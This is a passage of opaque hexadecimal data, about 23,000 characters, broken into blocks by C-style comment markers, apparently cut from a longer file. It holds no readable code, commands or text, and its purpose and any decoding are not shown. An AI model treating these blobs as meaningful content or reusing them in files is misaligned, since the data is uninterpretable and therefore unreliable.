e2588fcc24a65bd5afa3ad080c747fe67f82195254ec73b95a08ea25867a962f01c1c51b21df798c3be2a556cd8bb30b58fc67af7ae54333b0c1547c1246598d23b33ae5f7136857ffb647b59c534935ebb86337e10d8a579016c2803da8b9e0b28444fe00155bc2f30f3affe967503f037a536a18f4099c72ed3b605432e21b93b78302cd6fc82c7a9d478a6291ff704e4cf857153f7e765aba81dee6748e2997dca73ca99fcbf12b970a7cf5c2e92fcd9e9f3c82e8ac7b740d15b2a5c5c890bb011ff29942978033666df4ab46463283a900bdea932a24262f5e6dc096e5a01aac0942bc4e8fe0a74ca8d7beafbb500ceceafe2f396fb503768ef415f66ca3b6f525726af88503bbe1f9bf3214d74587897ca6442ed5a1e806913fd09d2bc94974d9caf3a6711951522449d0883e0aedb0b5fdf9954a37af7d48653b81bfd926c209087235d54a8ea867e019bc93e1e3d16fac4ca692e6af6af3606a4e2f7d92e6e90346994f07573f6721b5c4c9c5b875ec7a27ebb1bce90cb91efe27011276a07b2dabace17776b9d0be9a591a7531d9e208d183e79122e8718d4f825d52f71e4c0d8b1bc9e6db465a1a302ffffa77f357814d3c0c8655d084ea249179b9756168ef5dbc50af1ed61c39dacccd5eeda98e617f2e4a50c1e1067389158443c3c5998b43baad9adaddf634fb9ec1d38708a80bae0eb756d44f5f79003b09e485994d6fae9e8cf923da803117bd959948ef3c7ab3d4ae78521074d509fb6e938905c0ed0d50dbfac849842b5a94b1ce2005be5305cded02c70d0b2a3cd5e0f99f2e013639d99a29dde54c98d3a6e0f19aaf403205d771ceb35f1d508d74673c70183987118e726aa5812fe47177c96f01cca90e1edee52b7393d29eb604a81a5e7515d8f18c705afd20c4430ca6d988bfb9c0252fa4ea58f28d2fc29fb60f4c760fae9af603cf4c2310c09a47750e6a63264173e305d8f727f06e727fef4346b76048ddfdc6972103420ea0aff55150cc4a0372268fd084d1f10d6858bdab56e1011eacf0db329fbdcea80cf92f6813881d714b1b7bd883a24518389f9c2474052ddf9d7c914bee46ad76da308ff6a4d82f7599cdf0c6623801c0db3255d82da8da00c8fa706e9430b19d6b42f20dd53095d3ccd13d4fc87539a057106268ceb70d7259fbfa624a676e091436f99db6b1fc03b1c8f1c43da910d0c2b05d55cf2b61022a1db947fe73c14810c184f50678935c7b4db7eed46235f7a649c0f8f03d8ed4b8118886d5f82c71b43c394329da04dda07797000ca95229d72644badc2e412577e787e280030bb9ea1c82961efcfb9a4d1e8765f65291219c0a68c2872fb42840c80*/
/*3c5523422500d2d065da2fc56f195ce201f618d9d371d6d2877040cda4c3b1ad521b2f6b094251d2782961d04d329f1793154089cf5d7cad2d1161a9655c49cd3f77832ef42b08fee74c41e62b0914efd483318d3f512de0ae4b82fd362a0b80d19ea4411845e732a4c7ebd21f1251c3b9bba7d87c45aa80ea009597d0574a09c9e6e2853de509865705f6030c3343c1cc506bee6a1548f98ab54e260e59eeb8601d7356d7b2428c225d9a2f51a59f94f8d4cf5b3e5631c919501e3063960f12efe6a8c3aca8cc7db6de721b1e1eb87328d572e921aa5bf9921d42522259a68a370faa0ce45eea27774b4d6d778ff3e02cfa29661b447ed503d8752939f124dd55ca39704c25579502d46e721e201f60b71d8ca9fdd19254473ba208d6c4e4941271b3cf93e6ea87395d0c5953fbf5659faf5a81ae9fe596e8c6230b876a6f72ec06e0c788d28bb6bdb7a1733f7a486620994144432b44972b66c800aec7029d7619f654973c0a63f73362302898458ab859a6ddbe272bde38e72acbfde6219097880d5d398741176d3e04d40c8007081833c79ea5fbbccb02f8ed7c84999939c28ae63aae54eb9c5ef0cb8b5d78e1823f09c4d4642c174fd332d274dfeb2bf7d9200d7d69c7888e682c0298236b860f17b149162fab7e48d04eef270bc847409f5de112c60c5fa1872bdcb89853f0a0ed2b0cc4e103e910ef169132a1412d94ec956e83e2a745bbb03fe18dae5a2e52e5e66190bbae0c5986632544f9ac2fcbe9bb3413c1f7022a08e3f96c9886c12560178368425d5c13e88ddad00334f52a64eb42e482f1d1e815155c219d1545bc9e39f1821fdb9d55a41d7c9441954e24a06f491519d0176d863d2b4056fbd592a19a4838f39093bcbdeac69f124ad9befb1f0d9da288743e822f29278daa399954e4cfec8e481252413e0c220d35deccddd475b29addc81d527782b3638045777420782c42896596a50e8f9024134f869547c3ff8dad00b0411c7be88916c9b4f42fc5105f26f69088e7bdbc10c22900242f743fe7282d8fe8e5153386eb2c4a84d4a1f006af3c8b61552b40b424f4994730faf75de1b1d29bd40ff480aa07a4e76395eab380f25e48327a8a331856e313c3120d86c284336db59d92e398cb3cfa609f29329ec1337c770a693ee595f7b76d0015bfae8d26c99ea336b47137e764f0927079f86aa7b77759da77d0b1bcb2c0236b0960cafb51e8c1eade6a0acbd950282e44d7a250df0eaf224de12b9f433fafff005b51e651b088172c67516f345663ea16c036673216629d93cdd41f12cd869fda6090532bf6ba99735163d8b10b504b85523edea90ba599f74b8aab0db119854373f93a086ab6cac6ca037c43d80302fe661dbe29e69453aa8c4dca5d4821084e08073b8f98e2eeb3dfd4a2f95bce85ca6fb2a7ecbea01f0972e6a7dad68ef9a195e525ca9f55dfa7f531b119bd5203809beda145e086a3efce4cdd800ba862af213476573eb57d18fbfd5e4a3bbf88a589dbb586d637da956e085babe5048e407de0ba487fb40651d071c655290514d320d72ad59cd38707d650ed2ea8b29c90e755fb350abd748e9af32ec5531b7e2aae9dc9f8e8bda3e0b2c92a840fa2d7777950ce55d9b5aa3edc55772d9be629157e0a5b2bd659b1f8c49318f71d2dce30c0c63ab6d3fc4eb7e9af659225fbab7edc4edf3709c603d67d33b1a987b688515cc3946b5c7b34aa6f35ec2ec74f13f997ba00cf154504e29d067c0640d023dce817eb528b9546c9ddb2d8ca67e39e4bcd84844fdb7aad81ef8d642c98ac8bd75a705545e07d5349cb2880349f321576b97d1de25521cbe5634bc9df3977506e90b6c525d168df327ee9d71dd039e138f096e48226b6b3e29a7b64d6a0c992db5f035faa63093f33a83c15570fc1f15859a84d7e2d6f787c41b4f3b85b269d941d4af88296912694676fd71b245d8056653ca42200f46f7aa5a9a51fbc186109e8c5a662e7a97d46dbc8be1a9e34d36e52930a37cd6647fb2bdc788fd9601f69e19239b3ca3fc3145deda7b7bc0b40b4cdc5dc9a855ca87b439042fc8aeaf3d06988b02b1f6a9df6edde1df114d9a08946ad834e1e50a03e2e973a9fed6c8e12441b96ec8f7bee4dafd6f67d2e2d61f595a73d4b0b1d1ba46aa2aea2f719891a0c9ce5388dd6072a3c6388744064da354547a4b2bb8beafd9846c856ecc7e617ce3805c0e02b7da45318f8072fdae7174fd936efddbae0a334994d8475a35f93426fa4b45edc8027316173847e8810067b3c3930bf447cf4fc27481f2ef023905cc79c00af0cb35db452496145f128098bbe89ce456ea0b48007028d0006f8e6c91a7a904f05bb322a7676de68e47fa92b27f8c44740bbba4c83da4fac244d86a7643a0c325452c19ed7df043efb61685ac1c0199104f3b94a8f146aa587499a02236ea7e5576a03c75abc7ed9d6ea7c9209fa0272db625fa3d28c3f1fed6835d0e1ca9d8302d49d694e7c7e6999e014d0490f13a74bf120d6e05cfa6d21837b49e022473120e66bb845aa180b65f8ab24b10f7bf1718f08743b7bce729fe7867474778b459a9584557cdae0cb5da71fd3e1b170fea6e293c8873c09a24a5ad1b9d2cae8e1239e68b7a62af0ab8901e444ed55829036ef2b5095fdca140f1cefc093b6b2c7c18ce65400a1daea35da999e5fb7f5d7d065d45918a6389656355e6472e44bc82d59e38e0a0953b0b07a7e2c4ae3089b0c2b0fc6ca92a926e8dc6746e0e42cf53bc4e99afbe0e5c985b66bc3ab96a576e571903b6a4de7a14f86bb4639c7c74d1fde28e95d30*/
/*e4744505fb8e6a156b6c31927be712f484ac7290292b3eb79cbd8d59420fdf758f2152bd39d14d6ca25d179301820f58208af587df076b4f022c25a87151df0f506f20b0138a5e317fa4922d83ffa3676d8024667f26b438f8600b30cb3bb30d22a6b73f3e3c122445881745783e945ace7a15585bdb0aeb42452f7e2c664bc223c860237062c7d84bd74e9c158510999f2007416df480ed8b2868a527c1ee9ffb668e61e4e59c90347aea4e09f9c97bbbd6c95310c85f802dc9bb46a8ad9e558aeb3d6b4ff1ea2c52e9f79b44095ae4aa55c97133da7083ff91aefef4e3ea38e71819d2e0d34651dcac1e85dbed39df8c892af13baf921bc02b9bd69980805da69a3d026e887f3734dc653366b13b10d7fd1236c797752af277b4412094f35e824c5a30c92ce7f64a300038ea47ed377e363f27974a876c0437184fdf3df2a2e45e5056fb70f4336c9d8adf27786d1de9427230a32ff77283922ce9c86bf0f6900a1e3ac585c731b1e409630d3c2cf3f476488d389a4beacc636b6b4df12a1a3beef5e8769327a8aa825c4a8b92d3e6b37a9bc428bd9358310395cdae0ffed8dd2a1963f59bddc14f928ad138e69461408f4452865c06e155a752d078d9c97df3b27925e6d80793b6f977ca33cdbe8aaad5d47aea15b95da96a27fd0196378516acef9667ec36fe4398d1aacbf1344724e8ca733872cf63993e629d2eb1062eea918186e4cc9da06e96ae62561cb2fed5fc774263ee054f2cb0396bc8df85e2b2fd3b3d26bae464dbd5e3cf94aed39af4dfe27fd8cf78800454e80b2ac16cc363d1375daa8b7edbf62a518d7f833bc82efc5fbccd29be7a2836b51cf21b0af3a7b79aaf8b5de275c96bad41bbccfc643bb324853e423615592bb68e221fd702b87d5e95cecae4f4abf724ac02ca36be868fdfd2df1358a849b8bb0d6a91895959f9b8e656bda3d65e5d330599db3204e36669a3785d896e49a9b76a95e727de7bbbbb1ff2155f248d55b30042e853d15f6acc774b09f591d5dde88dc456bfe20b86dfc09e0713403ba833b79d083eec3910a22b88e5b3dab10f4acec68225b38dd8f3b8c4cb443c0fd00181b820c1bc97384d6ed06dfd4c25bb0c31cf927095a73c08494b4b106a733e4338914d2296460376d39e6c0030c987555834dd8bec361cc3542b17767950eadeb1056d6691766ae1afc887b3b33c743349b2d7dbd03878077a723e7ec01306061ce2f9128ba99ff5d8997127a43bb02f20dd5f6e00575af6a762b02ef44fc682a6c506a4e68221c8d8f5d10a0606bcd323d052f3595162cebd3cafc13ecd2e2d2cf605f9952a532e680854e7b9988f18f605e4fc5ae4b9917f866d39bd3fd181aef72ac0ee7292eedc28521ac320ea288fb1b7470724fc1f8fd71d59675453fac06a9ef96482bed4755c95a5d09067dc5b6d221320cfd8c32ad949dee46cc3b0a15002f2fd9f9dd534872074e19a87cd5aa814a7749ddf7a18a880341b7b0a446d924690e4f7a029fa3ef281e05390c135b2bf694f102520f2b81cee4ece9cd0546ac035e83da5a2b6c3447e34f94691805eb14c2f999b247cca830f99bbe82259b86e6d8bff74d77e43a7c71015b35be3baafb80ffe9b8dd871d788b9c7bfa2bcfe95dd2e01f8bd3e77d98b5a558214510ed3dccb4643cdf9bbcea4373aa0f82dad8d5cdd10380154c6fb1956ad938073eadc3f68179294f950112bef70c2c20ea666183010e0a26fbc58923c05c050cbcb61d9ca6771be71f58b8191b6488675acf4bc9b8d08b1ad1368322acc8a114ddccaec03151f35a3b4dd916724dfb1554975bb1ac46694f563f2b96335af968f25688f793c49148d0b7160c0b56b1c662aa79cb4b4a663742003a14d1c4054a4cb3df12f8ea3442a8d63019d3dc16f3cfb310e69dbc4244e7c16e9c35a4186fca75973720f039d158cabb51fc3f1817ab0e74f1257583eec3c915da6bc3fc39ceda30df8df3f22d0283019ff037bb68984e6464d86281a885231672c67e8fdc7aecfeb09e55398b5d6474fa24c6f1a5907499c20919185afdc87769d64e963edfdcefbccbe385a6f60fe52429e2d9ce249e5c9e18b92fe4c86b1b66a11b8f16569e375d006fb0e890722f972e831482daeea111357245de1b2b5b0577862a92ab1f90add0d9c6cb9e9d1fe5217066f3d22757973a0503f6fc6ac0b8baaaa1f6727438c62329353a79a461e064a4d508bde2e00bf248ac18637e4cd4f5547bedc3daa7f3580488edcafe5701ed31b9effda57626c895cafb18888f0969b47160e4fa3c08078279aa233a9369e5232e2fe54db462178036694b96ac6e195dadc5451f9c59ad1c1e9686e486c829710f2abaea7a47135407998d4ec68a61231b3d21a750b20f72886b212800a4b477cbaf852ab05bdc2cdbd0a77372d6d3e5b6b57a2d38369ad0aa6577f4a93846d0e69488c8870ec1806c6ebf99446bb7db3f96ab853efb4ac1b52cd7bed632a958a3e2d339ceb4650463f46909fbc6740f6340b7432f90f5184e5f3288af0ca3931723eee74f75639a9924af3286f32c391f2e31f0afc7a834b042941835efda65822dd67cbdfd230c3dbb29cf8183f49f943c30c24aa910ac7dbe178f3feb3bd917de1ad4df9d72111b0d425ce2d7f2d8b6538194e4be4845a608a9b14255db8c33572e67d7c67f3d0c6a443a08ba1e97c2d43107990138ed5a5e1b874f53173c3ce83a8d5bf32d8fdabb427924cbd7cbf7e3434e333a325aa5e6b31ec9270e590c8db244f4f87680057c81db065be16d4b0e11bb3e51002626f0cac0f1dc5aab719f373d29037*/
/*6da830bf10c9fe7d1a3554f67a4b1a336fbdd9ecdc9e16a6b43259dd0bb520bbda8eb5447fba74826b202cacbf154405dbd1fda76b4ae3b21702c3d4482aaee7758fbe37688128ea487a27c093686c45a71bfa6a3dd3ad81d9f296834d125870cb1ff876ede5221c437d0580c6fc29701f654b39e2166a72239f0c0c2afaded0fa4e62f72238a61807e17cb2ec8700927f6e9c9082f9936e782491ee9a8bcbeab1bc8b7d34fff4d9ca420f28a7302b1fe32828f72559dd45d44b4083755643c601f75e85d3f020be56316d69419e8209ba40f3f3367be396ae10ea638a04bd970a05ce32351eb68fae45bdf0eeb22ae1ac5a9f1a9972b683389ea775be064d86edf51080358ac0b9119326c2d739112ac746f4e489ac4acbefdbe2b67f3cd6a64064e0c27f1a7f814450dd24787db0b3193e96329d33dfa2f6825ae5394ef143a5847cf04ad0efe27e45aba55c0dcca68aa6e2f2c1ca8c5ae02f91047b289a30d34810c8484b24ebf2af89c77520a3b3e9d4ae2d710b84e277cc8dc9375b73c7503be1d9aec608fc8a1b931184b1fad8786958b42ab04ebace4dd1e37279e2ed55c477da6d9146b42af3ec1c613665c15955fb9b5b0f9936c45ac92f923b34c0e6f617bc136ae16162adcedf902335101710d49e8b9ae0e987c79f0a0f88338e1a9555663962f0a0661c31e038f88046e96b15c06d4c375fba2833a082efed5a05693c829216839b5bc33fd3ef2f6f48069d5a8b3809425a3e37ec5dc3414d1d1e972013685cd85e90573e1c27892f236da95d4f77209100ca9edf4e385f7f3e38e321550d82b1a0f7fb2a73180d501d7781c58667df881415707fa218b1e51aa665cdaf04b0e822de0718a6ac6cb6943c1bd84cb2735e64c7e466a301f6c1a9149f60cf3623513991ed88c996622496f971ad149dc5680923ade9beddc4a4f108ef3d5b1b0075048a7fc497ceb4081506302c0d7496728589dc40668519cc3139020070f4637602e615a4facd9889ee2be9fb7be92ee54f848b367e91c09222dc9a62c6f4b496fb51a780ad5e7341c88875aa0f0959a8d3f34c5eaf15a4ac0b9a02333e3adfd11b14a6d030bbd3cda1e560a337cc3935fdfb95fc4080f97629af7da39b8a80ac659896058453799ee1f7c16057b02f9d6e3b18b033b7bb97bb6b246118c52d6083406665623f5d662ae492d2be5c175f7abda2caed8842b844690fa336c9a10f3ab58f37fe459e9c5732e9f28fa9d13e2ecf491dabff1c93c7675c3cbe238bc388ae6dc0cfbaa6dd14f0ea44fbefb485c72b76f290fb5ff1cafe1536404159d4c892901aa51ee85fbecc8b3a8e409c36975ab505b5ab1852c70c4b67250b7e76ddda9c9c07528740236853f00ea8d3dab3626e34e785eb5ce62030322b0a446b8230ca2e11611beab182fc9df46e42e6ee81c13607ffd75c1030b082fd7070c2bff17dd6555c7891395a1a183b51679bf2b418e8e87243664f8842aed08fa22a67d4e2b305031395bd4c2a5e8121b7057ca8edbcf33ab57e3cb916bf92520cfe788971f87e66cad3ce227bd0654485cefaec15eea086f4aa30028ebb1d160d3884fc68e1103e62cd355cddb562c5f21b5196a6dfad248de834ea5d122376e67ca771f7c36445df51474edd532d6752c5c818cc4106557005d619d390ce3c8c9dfee6c4b77fd2a858efd3c8889a38a498d86c5da12bc42b6d3e261638e171e7a9794888aa7660dc9d6961f1ea0ffa2304f4b2570ad6f08e7456cf5905d0de13afd51bd82bebab686354e2a85456d36a57efdde2e7203f07088232faf5de4606b144527625e8219bd9ba628a6f1cf53869dd964f8e51488d50e0aa34365ef7f9ad0af03a63abd2379bc89f7104830993cd5ef67a4c4b46392ee8ab973a1c9f13dfdaa702eff05990623d965d76af1e51f48df3454a13b13f2870b99e845288c65ef5e644b1050693458eb6de9c3915ee14eface399b66177d29190792114ab4473b50b72cc0c6d2272e089b0827385b3a053b0ca570acafa3cf2e2b21d21ee237af54e99982d179c8df6a80348b96df9da22b78410d297ed2954b90799fc6f2ad998398d7490ea67805dc51189018d1b6cd48d1a7d66da64e3027f5032331ea945cb2020bdc153ee096791fea5cfadfa18d82af8d37f244e3f68cba4221e32478b78075c303cb99cb379c06e6946fe804da71e1c79872158693a89a97f7e032fdd2465aa8ff1f62d592fe1178e8c9599ab1c3f044fb5e35912ea642523064a4ccb1d2dfbbb288f2459d1b9dbb8481433a20218973caf31eba15d5922f0a2019894bf698e3578e6feb8867683883d194bfee81f7f2fc5bc1d91bd09047f6194260ed99e30a44c687437200ad5a6ecbc57c8ed7f2b13393276a5e78fb06643a7d3018c534534c9e80442e03b70d93b7b57b388d69e31e3f397d9da757a44bc0cc24d35af1412c7e9a2b0dd734dcd4e3f8b3743a79c30c106dae07049eb2ec695587a55d5d159a09271fb9b8bfa8c8b605b3cc426f4d0634cc82c8a683507d9d3d334d770519840f7e194dd27462872de3fe94d7172a99f2735e84067f73d78119551474fae86f58985e7c78ca93a43fb4cd797de0f798b3e8a878083e2843b552c147d0d09acf91dac50bfa70d3ff53d2d9a0df1d1e9c0319a65aa345b9db528ea85cb2ac1d6ba227985317e34986eeada99fba03491a182823467de1845705005cd948593b9a1890b7fcd2d288b07b55349a2b3ae6684eb6849326f0682c67f175c8ca6f4fc11101feb110cb20d2ac2a0c7f52dd28e0baf51b55607e4cdbb36ddb8ea11feee83d06f3398*/
/*6cf6af4fe9b16bf45b8ca5bcb498fd2a400abd24324702819d37a5f7c4c03aec7f68912f807e95f071b45f0f28ecea1289855b1137fbb28bc33c9da8e214c7cf775103556bd9d1273dade7f05002dc5919768fbf0999c54f4c7ec9ceaccd3921950915d2f140ff577d274cb69b29274b8867fb69fadfc440cf282b457256381a3071ced472899cb181b2015f636a5ce0f6c786cda8221c9907523a3f8d71aa4336c8045a2a6fc662daa7736fc7da3315484b4673f8b573630d81c386ac03943970e1c2d61cbf87d87f816dd94b8f92cd1e15d8d6d5dafd2dcb7d4c763f56e4b8a99e0160010d8ab118b6b2686aeed17183b80aae89b93879b18134fffa800fb1eb60b8e7ce12a13e3a7851104fdad98c90683e23bfab4fb3a742de3ac7cc83501fb2d57fb387ffb4712874717197b8362acf90872d755c45f20af6068aae784d94f9ae97d0fd96e8f51a3217e496d6e5fbe6b70e08525dd21bc523f1fdfa4870dd4da941596d7074071872c3d019cd4985b81f45baaa4eaa08a34affce54ede866e09a8433734e2a4c809cf429ab16fafb0859a9a324f8e3f71bcb531b1587f4290252c26093f1d30cbedb7f8079fdded918a4437c237a093f8c7e842fb218987d98376c590b2d64ef76684ee748de07501940906ede1b54bd80c6fbf91dc4b909989616c7dfe1bb423c99c28482199585ae7dc613cc7d351d04cf346e8e6ba0306f11c4b55679ad250f387f813dc6df0bad0af14dd0d4e6372f465ed9c0a51c865fc627c7caced578edfe3eb00bec27f0a2c4709c9e6a61aba0a848dfbd36b3e1ad46c714ded6dfe1d1be12330e46797155dd75d357b2b8fcc7c5187f29b56b7c47c91019e9860b0416b56a30a441fee5b917033b6e0e566814b02215f484438252516e651860284f4c3764fb034af01075a3f37f735556da5e9bb7067c0f496bfc81e87d2651ad03d915f235662bc296a72e1859eb5b4231ec8c3034fa37eede15f8fd981338739b4d2c5e6d12c369f1c2fe0af9908e64055e2e3bff97f63b0896440060e8aa2be39266ceb9881b7a15d47fced346420589f48cc6848545674f73a9cd56de1189395145901fc31fc8e0d32771a8199039c9cfb1b4434b9a4ccb5c99a4d07da89140f3e2b00da970433a0df13bc58382a82ece5d5430893c0126ce41c95c8d490956ffee09ddd0f985972fa54ce5a715f299bccd8549f9b26789fc92f15de3941b49432b261888fee4ab896ef0eff21aedbf9c9c600710180d56a9d6033f16247555e6aa79e647a2c2c672693bb6de8af5def3710663bf7e20c314b9375cc5cb47d686983a091cbc48cd73df851a13f0f9157b13d5f5228e7d4e584755afd8d29ace3d26da63851ede0a602cd9cc3371139978b22479862076d83b19e62a41036134e98fd8b82c180e50f3d9444f1848f4982cd398040b1090efa4153cc09145e3beb2cb36a50c2561b77b3af71cf447652bebf53831c3a0637f921919ae756e45f3533bf881e8ae614a84f74a723014137b79e66db5bd90d546fa52ce8865981d3e436aee00c1b64668766e2da40f2df2df590680faeca6ef0035b6ef632ea2f9fff50efceb0568ec0a45471c76d33e3cf85a3227b29c50ce7b08ccd2d4b9bfdf1af060283c87b4ae1758ad911e6444c238367a2f46ccd1cff125ed0e065a0174af5eafdf8db37ddb220b7dac0d05e726456cab11890633072c6d626daa749601381beab351253b85395a5427fbbe1c3bb51f117a352978d27b4d51b27932bfe7fc3e033f22942a120b4625e37648a0e9785d9f9e14516607c9f534cfa8398064f89453844d91ce5e3f13909bad89fb6c8aa7e8eccbc457a7f5c2e334ada0fbaa10e600c78b128dd7990c1e6366d18a6b6ef1163d974c72aa283e122368d8eb4814dd94129796d845ba4e2870e24d9e61a799998ac0173cad9b5c7989b0434136f109265304812aec00497c0c09d4722af5e6235c780703686981f7b399e5d0fe44f1afb3a1ab32249e3167964314e29b12de36f66851f268d39ff7528ab784908f60f4c662ce116578540c82049f9ff6a8fc4f6fc0af7d70e7f88f2351790d7f2e0f584be0025b0574b6d880873d20fd5b59461855cbbc94aa614567659c06b54785f98659a2ae949d9c4640a66925e80de38051ed54c286e63655d4164d5d7cf6994c7568fe584a5479ccdc53718604950ea87fc636819a703eeb851213a5cc7524e288684ea4e6564e715b1e68775bcb54d201443f109d4635b800d81106147480b379b715b23399d4c993aac50d1d6b940ade08601d0d24dec5a6711dc3c5bcc31641353c28b1b361849840cb7ea76762c18e18020d1b12d9716eab1a3eb2f52b3d0c58d08cc0112b8fb6a33c9b2a2dacb99b866cc53e0edc236dbfa031a7e5801fdfeadb94ce5f01b9594ff56ca3f6dbae296bab942a32a93b7bc9c6a75518f6c3013f477fd2d1d540e1bc60fb35ba1e6ccd56b22ca7e089c6a039a18eb86ae8b84304d5a704661c3a65a7919c77e9a75f7b3dc5bf02575a37eef1a5669787fe8c1961b6d3622a37491e3e66bccdc1d8c37b2a9cfed547befdd40dd58323442594800241c2000ebe51c3b2744504624e684393ce4ab703175e875feafe8cf92139670734d02b7cde0ce4e332a4cd1f739d0973b28b0a0affcdec7f90615d9f07cb5db26339e26df1412bd8a9bd4389d9e31619f98fdd10d2d7b053b505778e2585006aeb33643e31f020654805593e86f32093ab4d5359cea6f889dcf8f94a6c1ffc064145e46321fd07bb49918742d53d4ae93e3d5e4badf9b02743746d8c378fd7072ba0c8*/
/*45bf8137ebe01f267321954743f25d57d80d76e5dfab529da3914c7918c1823c61fa8961f0d72f40ecb3de619f8d9dc33e2ab674a7288089add9d4f13369c662180a7567002d0357928b0c83c9010fc3b24193df86bc91a37c6c6551c7be60eebe8fcc8efccdb43dba72dd18dcd6635d7976e1b647d8c343a89b227624fdd10045d6b0aa5f737bc557d5edb03d63c1ec78cd8f9ac289f9241c65e3eeacbf291a6fd322aaf39d1bc978e5a2d034efc3e0b68b0992e3684799f409c0c7c5e125884248264687d95db67320514bee54e4f41f2ba27e39f54e56aa0246482c148fcfd28a5ea0b179986bbedeec4c70884c7e91950c1c24b6c3a82fdcac0450a37ad8c68c3e61e41e5edc5386f1fd1009dbb410822d5e6f07fb0bb9aa96483257ce91daf6ceabfe23cf01a788aa0959eb46fea493f4b0ae8a8fb36f8158606ad8589b61901397d7f9c4132dba5e7f35a6a82f4afc8b6b03c34c5d5767ee1b9fd166ef2f3445ae489fd80068e4269f9337e4c7296dfcce5ad702a369e176710197392828c73ef8d9ce0b2898d2aa63fc1f7c7cfbf2461b3d5cea8d1aff2888a2b9478a6ea17f397b3b45c52c16d37738527212fb1e536e6ccbc1f56d9b26b6b255788b236d790dc30e1a2302f9350d4e5ccc86c994acbd0f9f8a517137acb1029c50c75489d0217f86f8343d94dc226d27d36fca8618f0e32f055d98095b237cc711292488689fa41c399ab61fe1429f380ff5c5cc6f4ed35bb3e144e2e97034c397c0365fca85dd2565733014391e22dedb8a930edb4d15d8f4496a3afaa8f042f2cea76654c03e6327506cc5e57182d7d6ea0255889a44e236428d3381e943c62ce333bd7d508e5890abe753596c3acf0dcc320217e4c71673e20abc86f0a3ee507a66ed4e1a2cd92eee09a412ac2f77f47bca3f50b3fa99a07d426af57a9dd5c0122affb53c1a0651fa854d48459f326a933f020417c9c982d8eeb95705f1f77ce131941e970d1c43aeec5d8fbdbd8665df7bad7576075110b24ade1a38dffa0e4119bdb259b3bed60ac922e3ecde4f4acd6278fb8b3cb50212e3721b95600ff7cf1679e8ff812656069ea1ffa0a5582bdc40a0ba0f57745c30ac6e1023412f8ccf4c497f4e8d501994d175a57aacacd6aa716c26245270da2c1587e3ec6a7c4eb1845b1fb4ed151c02cdaeca20c22e02b13e5af6cf6c8818b4d48636b3147cd96255472f3e42576991cd26ea080a0cec2a3a7198650b77e26767884c88da0d5d34bf0f73c1760a4ae1940c57e0e956b9325c32d5a646f18d96e73b3d33f7ae9ce68e59c496e91a12001d47faf2d6d168da9802ad1fa543fa5f2f0b90ba7648a0c7ba04beda8bbeddaa35416c1aaa8f6320b52f8e9b125df3b3b3f1d30e491aaf13ec66e2848ccb6ab7a206a3c279f00d08eb2088aa18a0ec3d8e43b438f378c05598ae30aad96320313b41883bb3843138ae256d35c605145e4a0ec863b066c1acc846b7c295cfbffcdace7556f4fd7db8185522d10e1bf9ca8f71da45ccc1245497543b049eea82fb2ff16d39b1b1c27a1b29c4c8be3629212018e0e784c9075f3d7fe19af9db15a2719c891b35e14ee7adf1bb7702ef2e92ffabed4a3e30e40ac5ce0d497d1a540346eb17a1caad31a43ca090c75ed54569b9aaf7a299f54ea3f8fbeed224fa3e445c7d489481fb76d78956153201ac5b2418bcd84907033ec1362af45bf318f7a7cc6db1bdee640f073f65f1ffc53e56f3a666aab6053e0dd4121cafec0390e6e1e7eb3218847937fdec3dd1cba1f9be1f4ca9dcbb53249b84582d5fe80828cb74a2662fe2cb350f637958e1b237d913405fd8c7f1545adcf383ab2c1a2a217099c0838bca8b55d62a60ff11150e111758ee38e282f7c3255799df74f378e0f99f0c0b9765751d935c69450139bd27d24e61af96e3846e63e8a2c2faf0fcce00e8fd29df660cbd1ab4406a33af3704ae529d6a953a3ecda28cdfc1a1ca374f68046907689a226918b3b969fd25d766e2c593fef7662ad6afab3db8a619c4801121ab3a78652fa49e15dc57681c9daf0400e41beb011df263bfe99d886a577fce26d8a77754d70ca73cdd6e2079ee9760a2e662953e4c9f8b5e2267b182782005a53d644f646bdc6d339ee0a075aa13bee5e67fff98f0b383cdd8dae55e7410da1c0004c06c3eb20567b41ae61086eb3bbea2eed88919c9f8c2836376f6ca9cda5be302b1e6af22e004b9ce2505ad963cb5d7f07aa75099c2ef1437e96cd4d76c6ef5c6ab8ad53917cfa7bfbb7b87f5d0be7976be7d558cd5d64ce0a1c992928d192dbd0d7fb0e983cb3245cfcdf88b94ae91de4619468dddfd021c9b3ebe522692554cbb9a9b6aae42313c73d863af557014c8712b4470426801da5e8988ffd8a1fd5769ff4bb5a99ce8dd70615da76b368e87c867c5c99c36eced8306f09c3c448ba20d4d202825af5391e8ca7e76f1c61bf77abf518416ad012ba35236a7f2ed84214a39a36e5febd71bb456da9011bda8f373f2fbba69e07e3f7b1e6512a09286bf3b855d547cc9af857b0eeb231c81323c272536ab50538c09b7d7c06cb3fb381b3f5de95948c3c10b314e2827a6367abb59a45faa7257d7ac4bd5a37df7354b5c7542b9f5a85aa075df12d6a8d23ecb49884386506b8b9b7d1cbd43142c4ec60c9428a41e9775a239db997383f5519ec97634df55d2de62ce2dd2b19c34948340d8b16481c2b002fa641839a9415bbbae6930870ce291c84a8eacf409251a3022dfe7542adb100f237c968a9b49fd8cc2f7185108f371fa90cbcc0eb1d8b7b11847b1106dea92*/
/*ad44aee5a253690db606acdfc11efb183abcd522aca5e70f7c8fb51badcebd6da69cf26db85a7c816a978f1f408f67505c118cba7bb1f54640fab3cd3557348dddabc5d2581ff1b7cdde506b5c1bc898215ffb6a39c7a3b3660ad641ed8335bde3f05b993a59e8d23ec4009b589cd8551cc56b9925569a5a99dee69cdadfeaeb87fa90b607f45ef6e11a406a92ad3a6b5b0a1e434ebd43b382e80beebb692edc66094b434772cc0215d69d61e62807a8e439ef2c415ec553bc9c913ce57877b6f135c9c55f7d028d2246c15eda47ac2df214dba9ce7ef7ac4669ce8ff48e8039b29bfffb6dfdef3339ab939555a12baf2840d5d67097e2ef589e44784cc85a0760ece1b29b6d48e14dc689c5f33fe0df2ecf94eaa269728e6d37b4740da317f428a2ba9e8d21d0fe2d2e093401e95a585026a4962cbb7eb694e0ac1fc140ae0006e9941674c96f681b074b86388621261163816f32262a9a8f88070205da9a34472e7f4944e3e781dcef4dd473f47f19ebf06be9fceb407210fbd9c69581fea8680a9023ddd78b692af2e94dc39f024b5912c3e15aa5d41e9cc0d3a7bf8f54859abb86fb48401d226ac4432c31c439881ecc245be390a56aaa7ea64e3e0cc5617c9eff0b6aab0ba333f994cdb1ee4d25ad601160e8e49252d728bf21f00a17d077da5cb0bf6dd6631b1f80fdae0fc33ee54ccaf93c97415b788f82edb6ef475a2b52fe69b1c8340d489ef7fa5075bbd001baacd39296eb34135abcabaa4fba20fe788011be214f888ed6b389dcb23f7db45bce625b0787